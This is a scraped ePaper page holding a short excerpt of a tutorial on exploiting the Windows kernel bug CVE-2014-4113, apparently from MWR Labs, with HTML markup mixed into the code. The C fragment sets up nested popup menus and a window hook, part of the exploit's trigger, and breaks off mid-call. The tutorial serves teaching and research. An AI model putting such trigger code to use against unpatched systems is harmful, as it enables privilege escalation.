06.04.2016 Views

Windows Kernel Exploitation 101 Exploiting CVE-2014-4113

22aLG4Z

22aLG4Z

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

eturn;<br />

}<br />

HMENU MenuTwo = CreatePopupMenu();<br />

if (MenuTwo == NULL){<br />

printf("Failed to create menu two.\n");<br />

DestroyMenu(MenuOne);<br />

return;<br />

}<br />

MENUITEMINFOA MenuTwoInfo = { 0 };<br />

MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);<br />

//On this window hSubMenu should be included in Get/SetMenuItemInfo<br />

MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);<br />

//The menu is a sub menu of the first menu<br />

MenuTwoInfo.hSubMenu = MenuOne;<br />

MenuTwoInfo.dwTypeData = "";<br />

MenuTwoInfo.cch = 1;<br />

insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);<br />

if (!insertMenuItem){<br />

printf("Failed to insert second pop-up menu.\n");<br />

DestroyMenu(MenuOne);<br />

DestroyMenu(MenuTwo);<br />

return;<br />

}<br />

HHOOK set<strong>Windows</strong>Hook = Set<strong>Windows</strong>HookExA(WH_CALLWNDPROC, HookCallback, NULL,<br />

GetCurrentThreadId());<br />

if (set<strong>Windows</strong>Hook == NULL){<br />

printf("Failed to insert call back one.\n");<br />

DestroyMenu(MenuOne);<br />

DestroyMenu(MenuTwo);<br />

return;<br />

}<br />

TrackPopupMenu(<br />

labs.mwrinfosecurity.com<br />

23

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!